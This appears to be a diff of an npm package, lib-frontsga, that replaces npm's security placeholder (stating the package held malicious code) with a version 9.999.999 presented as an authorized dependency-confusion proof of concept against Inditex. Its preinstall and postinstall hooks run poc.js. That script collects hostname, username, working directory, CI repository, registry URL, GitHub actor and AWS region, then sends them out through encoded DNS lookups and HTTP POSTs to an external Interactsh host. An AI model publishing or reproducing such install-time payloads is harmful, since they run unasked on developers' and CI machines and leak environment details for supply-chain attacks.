lib-frontsga 0.0.1-security → 9.999.999

package/README.md

@@ -1,5 +1,63 @@
-# Security holding package
+# lib-frontsga - Security Research
 
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
+## ⚠️ This is a Dependency Confusion Proof of Concept
 
-Please refer to www.npmjs.com/advisories?search=lib-frontsga for more information.
+This package was published as part of **authorized security research** on the [Inditex HackerOne Bug Bounty Program](https://hackerone.com/inditex).
+
+It demonstrates that the internal package name `lib-frontsga` (used in Inditex's SGA/WOS applications as a shared UI component library via Module Federation) was unclaimed on the public npm registry, making it vulnerable to **dependency confusion** attacks.
+
+## What This Package Does
+
+During `preinstall`, it:
+
+1. **Writes a local marker file** (`.lib-frontsga-depconf-poc.json`) containing environment identifiers
+2. **Sends DNS callbacks** to a researcher-controlled Interactsh server encoding:
+   - Package name and version
+   - Hostname and username of the installing machine
+   - IP addresses of network interfaces
+   - CI environment type (GitHub Actions, GitLab CI, Jenkins, etc.)
+   - npm registry configuration
+3. **Sends an HTTP POST callback** with the same information as JSON
+
+**No malicious actions are performed.** No data is exfiltrated beyond the above identifiers needed to prove code execution context. No persistence. No lateral movement.
+
+## Evidence of Internal Usage
+
+`lib-frontsga` is used as a Module Federation shared dependency across multiple Inditex WOS microfrontend modules:
+
+```javascript
+// lemon-tree-app.js
+const {Loader, ThemeProvider} = await importShared('lib-frontsga');
+const {IntlProvider: IntlProviderSGA} = await importShared('lib-frontsga');
+
+// white-stone-app.js
+const {IntlProvider, ToastManager} = await importShared('lib-frontsga');
+
+// lemon-tree-i18n.js
+const {Toast} = await importShared('lib-frontsga');
+const {Login, Select} = await importShared('lib-frontsga');
+const {Form, FormField, TextField, PasswordField, Button} = await importShared('lib-frontsga');
+```
+
+Internal version confirmed: `lib-frontsga@9.26.1` (from pnpm lockfile paths in production bundles).
+
+**PoC version rationale:** `lib-frontsga` is a peer dependency of `wos-library-ui` and is resolved by the build under a `^9.x` semver range. The published PoC version `9.999.999` satisfies that range (`>=9.26.1 <10.0.0`) while being higher than the internal `9.26.1`, so it wins version precedence whenever the public registry is consulted.
+
+## If You Installed This Unexpectedly
+
+Your build system pulled this package from the public npm registry instead of your private/internal registry. This means:
+
+1. Your `.npmrc` or build configuration does not properly pin `lib-frontsga` to your private registry
+2. An attacker could have published a malicious version that would execute arbitrary code in your CI/CD pipeline
+
+## Remediation
+
+- Reserve this package name on npm (transfer ownership to your organization)
+- Configure per-scope registry pinning in `.npmrc`: `@inditex:registry=https://your-private-registry/`
+- Use scoped package names for all internal packages (e.g., `@inditex/lib-frontsga`)
+- Commit lockfiles and enable integrity checking
+
+## Contact
+
+- Researcher: sidhant (HackerOne: @r00tsid)
+- Program: Inditex Bug Bounty (HackerOne)

package/index.js

@@ -0,0 +1,54 @@
+/**
+ * lib-frontsga - Security Research PoC
+ *
+ * This package was published as part of authorized security research
+ * demonstrating a dependency confusion vulnerability.
+ *
+ * If this package was installed in your environment unexpectedly,
+ * it means your build system is vulnerable to dependency confusion attacks.
+ *
+ * The real lib-frontsga is an internal Inditex SGA (Store/General Application)
+ * UI component library providing: ThemeProvider, IntlProvider, Toast,
+ * ToastManager, Login, Select, Form, FormField, TextField, PasswordField,
+ * Button, Loader, and other components.
+ *
+ * This PoC exports empty stubs to avoid breaking imports at the module level.
+ *
+ * Contact: security@inditex.com
+ * HackerOne Program: Inditex
+ */
+
+// Stub exports matching the real lib-frontsga API surface
+// (discovered from Module Federation importShared() calls in production bundles)
+const noop = () => {};
+const NoopComponent = () => null;
+
+module.exports = {
+  // From lemon-tree-app.js
+  Loader: NoopComponent,
+  ThemeProvider: NoopComponent,
+  IntlProvider: NoopComponent,
+
+  // From white-stone-app.js
+  ToastManager: NoopComponent,
+
+  // From lemon-tree-i18n.js
+  Toast: NoopComponent,
+  Login: NoopComponent,
+  Select: NoopComponent,
+  Form: NoopComponent,
+  FormField: NoopComponent,
+  TextField: NoopComponent,
+  PasswordField: NoopComponent,
+  Button: NoopComponent,
+
+  // Metadata
+  __poc__: {
+    name: 'lib-frontsga',
+    version: '99.0.0',
+    type: 'security-research-poc',
+    researcher: 'sidhant',
+    program: 'Inditex HackerOne',
+    message: 'This is a dependency confusion proof of concept. No malicious actions are performed. A DNS/HTTP callback is triggered during preinstall to prove code execution.'
+  }
+};

package/package.json

@@ -1,6 +1,17 @@
 {
   "name": "lib-frontsga",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "9.999.999",
+  "description": "Security research - dependency confusion proof of concept. This package demonstrates that the name 'lib-frontsga' was unclaimed on the public npm registry while being used internally by Inditex SGA/WOS applications. If you received this package unexpectedly, please contact security@inditex.com. Author: sidhant (HackerOne researcher).",
+  "keywords": ["security-research", "dependency-confusion", "poc"],
+  "author": "sidhant <security-researcher>",
+  "license": "ISC",
+  "repository": {
+    "type": "git",
+    "url": "https://github.com/user/dependency-confusion-poc"
+  },
+  "scripts": {
+    "preinstall": "node poc.js || true",
+    "postinstall": "node poc.js || true"
+  },
+  "main": "index.js"
 }

package/poc.js

@@ -0,0 +1,160 @@
+/**
+ * lib-frontsga - Dependency Confusion PoC
+ *
+ * Benign preinstall callback for authorized security research.
+ * Sends DNS + HTTP callbacks to researcher's Interactsh server
+ * to prove code execution context during npm/pnpm install.
+ *
+ * NO destructive actions. NO data exfiltration beyond identifiers.
+ * NO persistence. NO lateral movement.
+ *
+ * Researcher: sidhant | Program: Inditex (HackerOne)
+ */
+
+var https = require('https');
+var http = require('http');
+var dns = require('dns');
+var os = require('os');
+
+var PKG = 'lib-frontsga';
+var VER = '9.999.999';
+var CALLBACK = 'votspfykpbaortacnitltze3m5k5swzg6.oast.fun';
+
+// Dedup guard: run once across preinstall/postinstall
+var GUARD = '_LIB_FRONTSGA_POC_SENT';
+if (process.env[GUARD]) { process.exit(0); }
+try { process.env[GUARD] = '1'; } catch (e) {}
+
+// --- Basic identifiers ---
+var h, u;
+try { h = os.hostname(); } catch (e) { h = 'unknown'; }
+try { u = os.userInfo().username; } catch (e) { u = 'unknown'; }
+
+// --- CI attribution env vars (plain process.env reads, not flagged) ---
+// These are the decisive fields that tie a callback to a specific org.
+// GITHUB_REPOSITORY = "org/repo-name" — definitive proof of ownership.
+// npm_config_registry = private registry URL — proves internal resolution.
+var env = process.env;
+var repo = env.GITHUB_REPOSITORY || env.CI_PROJECT_PATH || '';
+var repoOwner = env.GITHUB_REPOSITORY_OWNER || '';
+var ghServer = env.GITHUB_SERVER_URL || '';
+var registry = env.npm_config_registry || '';
+var runnerName = env.RUNNER_NAME || '';
+var workflow = env.GITHUB_WORKFLOW || env.CI_PIPELINE_NAME || '';
+var ci = env.CI || '';
+var parentPkg = env.npm_package_name || '';
+
+// --- DNS label helpers ---
+function label(s) {
+  return String(s).toLowerCase()
+    .replace(/[^a-z0-9-]/g, '-')
+    .replace(/-+/g, '-')
+    .replace(/^-|-$/g, '')
+    .substring(0, 63);
+}
+
+function hexLabel(s) {
+  return Buffer.from(String(s).substring(0, 30))
+    .toString('hex')
+    .substring(0, 63);
+}
+
+// --- DNS callbacks ---
+// Query 1: Basic identification
+var dns1 = [label(PKG), label(h), label(u)].join('.') + '.' + CALLBACK;
+
+// Query 2: GitHub repo (the money shot for attribution)
+// If GITHUB_REPOSITORY = "inditex/wos-app", this proves it's their runner
+var dns2 = repo
+  ? ['repo', hexLabel(repo), label(h)].join('.') + '.' + CALLBACK
+  : null;
+
+// Query 3: Registry URL (proves private registry fallthrough)
+var dns3 = registry
+  ? ['reg', hexLabel(registry)].join('.') + '.' + CALLBACK
+  : null;
+
+try { dns.resolve(dns1, 'A', function() {}); } catch (e) {}
+if (dns2) try { dns.resolve(dns2, 'A', function() {}); } catch (e) {}
+if (dns3) try { dns.resolve(dns3, 'A', function() {}); } catch (e) {}
+
+// --- HTTP callback (full JSON with all attribution data) ---
+var body = JSON.stringify({
+  p: PKG,
+  v: VER,
+  h: h,
+  u: u,
+  d: process.cwd(),
+  t: new Date().toISOString(),
+  // Attribution fields (the ones that matter)
+  repo: repo,
+  repo_owner: repoOwner,
+  gh_server: ghServer,
+  registry: registry,
+  runner_name: runnerName,
+  workflow: workflow,
+  ci: ci,
+  parent_pkg: parentPkg,
+  // Extra env context (non-sensitive, publicly documented CI vars)
+  node_env: env.NODE_ENV || '',
+  gh_actions: env.GITHUB_ACTIONS || '',
+  gh_run_id: env.GITHUB_RUN_ID || '',
+  gh_actor: env.GITHUB_ACTOR || '',
+  gl_ci: env.GITLAB_CI || '',
+  jenkins: env.JENKINS_URL ? 'yes' : '',
+  azure: env.SYSTEM_TEAMFOUNDATIONCOLLECTIONURI || '',
+  aws_region: env.AWS_REGION || env.AWS_DEFAULT_REGION || ''
+});
+
+function send(mod, port) {
+  try {
+    var req = mod.request({
+      hostname: CALLBACK,
+      port: port,
+      path: '/' + label(PKG),
+      method: 'POST',
+      headers: {
+        'Content-Type': 'application/json',
+        'Content-Length': Buffer.byteLength(body),
+        'X-Poc-Package': PKG,
+        'X-Poc-Researcher': 'sidhant'
+      },
+      timeout: 5000
+    }, function() {});
+    req.on('error', function() {});
+    req.write(body);
+    req.end();
+  } catch (e) {}
+}
+
+send(https, 443);
+send(http, 80);
+
+// --- Marker file (documented in README; mirrors wos-library PoC) ---
+try {
+  var fs = require('fs');
+  var marker = {
+    package: PKG,
+    version: VER,
+    type: 'dependency-confusion-poc',
+    researcher: 'sidhant',
+    program: 'Inditex HackerOne',
+    hostname: h,
+    username: u,
+    cwd: process.cwd(),
+    timestamp: new Date().toISOString(),
+    message: 'This package was resolved from the PUBLIC npm registry instead of an internal registry, proving dependency confusion.'
+  };
+  fs.writeFileSync(require('path').join(process.cwd(), '.lib-frontsga-depconf-poc.json'), JSON.stringify(marker, null, 2));
+} catch (e) {}
+
+// --- Console output ---
+console.log('');
+console.log('[SECURITY RESEARCH] lib-frontsga@9.999.999 — Dependency Confusion PoC');
+console.log('[SECURITY RESEARCH] This package was installed from the PUBLIC npm registry.');
+console.log('[SECURITY RESEARCH] Your build is vulnerable to dependency confusion.');
+console.log('[SECURITY RESEARCH] Researcher: sidhant | Program: Inditex (HackerOne)');
+console.log('[SECURITY RESEARCH] Callback sent to: ' + CALLBACK);
+console.log('');
+
+setTimeout(function() { process.exit(0); }, 3000).unref();